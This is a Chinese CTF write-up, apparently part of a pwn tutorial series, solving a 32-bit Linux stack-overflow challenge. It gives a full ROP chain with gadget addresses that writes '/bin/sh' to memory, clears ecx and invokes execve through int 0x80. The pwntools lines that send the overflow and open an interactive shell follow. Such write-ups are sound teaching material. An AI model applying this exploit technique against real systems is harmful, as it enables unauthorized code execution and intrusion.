在那个只有零和一的世界里,对零的向往,终究是一的执着。

正在下载:2_rop_linux.zip pwn专题入门分享系列记录2

程序代码

该函数将传入的字符串拷贝到一个临时变量里再打印出来,没有检查字符串的长度是否超过临时变量buf的长度就进行了拷贝,存在栈溢出漏洞:

漏洞代码

并且这个程序也没有canary对于栈上返回地址的保护验证,所以直接覆盖上面print函数的返回地址即可劫持eip。不过,题目开启了NX保护,栈上的溢出数据无法当成代码执行,而且程序不引用libc库本身也找不到system函数可以调用,所以我唯一能想到的解题思路也就是rop了。题目比较简单,于是就动手实践一把linux下执行shellcode吧。

搜一下exploitdb上的shellcode,找到了几个编写简洁的版本,不过实践之后才发现存在小坑,没有考虑到ecx寄存器的值(也可能本人忽略了什么地方,最后把ecx值清0才得以成功)。参照找到的shellcode编写rop之前,先把程序上传到ropshell方便列出一些可用的gadgets进行rop编程,可直接参见本人上传的链接:http://ropshell.com/ropsearch?h=ad2ed1e689ba8d4acd5c7c1345637c52,列出的gadgets还是比较清晰的:

ropshell

接着就可以编写rop了,思路就是把系统调用号11(0x0b)传给eax,把存储参数“/bin/sh”的地址传给ebx,然后把ecx清0之后调用syscall(即int 0x80)即可getshell!具体rop链如下(完整代码参照附件):


rop = p32(0x0804f2ec) + p32(0xa9b3b7cc) #0x0804f2ec  : pop ebx; ret => ebx = 0xa9b3b7cc
rop = rop + p32(0x080b89e6) + '/bin' #0x080b89e6  : pop eax; ret => eax = '/bin'
rop = rop + p32(0x0806cafb) #0x0806cafb : add [ebx + 0x5e5b04c4], eax; ret => [0x080ebc90] = '/bin'
rop = rop + p32(0x0804f2ec) + p32(0xa9b3b7d0) #0x0804f2ec : pop ebx; ret => ebx = 0xa9b3b7d0
rop = rop + p32(0x080b89e6) + '/sh\0' #0x080b89e6  : pop eax; ret => eax = '/sh\0'
rop = rop + p32(0x0806cafb) #0x0806cafb : add [ebx + 0x5e5b04c4], eax; ret => [0x080ebc94] = '/sh\0'
rop = rop + p32(0x0804966c) +  (0x0c + 4 * 4) * 'A' #0x0804966c : xor ecx, ecx; test eax, eax; setz cl; add esp, 0Ch; mov eax, ecx; pop ebx; pop esi; pop edi; pop ebp; ret => ecx = 0
rop = rop + p32(0x0804f2ec) + p32(0x080ebc90) #0x0804f2ec : pop ebx; ret => ebx = 0x080ebc90
rop = rop + p32(0x080b89e6) + p32(0x0b) #0x080b89e6  : pop eax; ret => eax = 0x0b
rop = rop + p32(0x0806f5c0) #0x0806f5c0  : int 0x80; ret
rop = rop + p32(0x0806cba1) #0x0806cba1  : _exit

可以借助调速器动态调试一下,以下为刚跳转到rop链开始:

调试rop链

以下为执行到rop链最后:

rop链末端

编写完rop,将其覆盖到返回地址之后的栈内存上面,将返回地址指向rop链的开始位置顺利执行shellcode:


target.sendline((58 + 4) * 'A' + rop) #exp
target.interactive()  

成功getshell(远程切换target即可,之后可以在服务器上找到flag):

getshell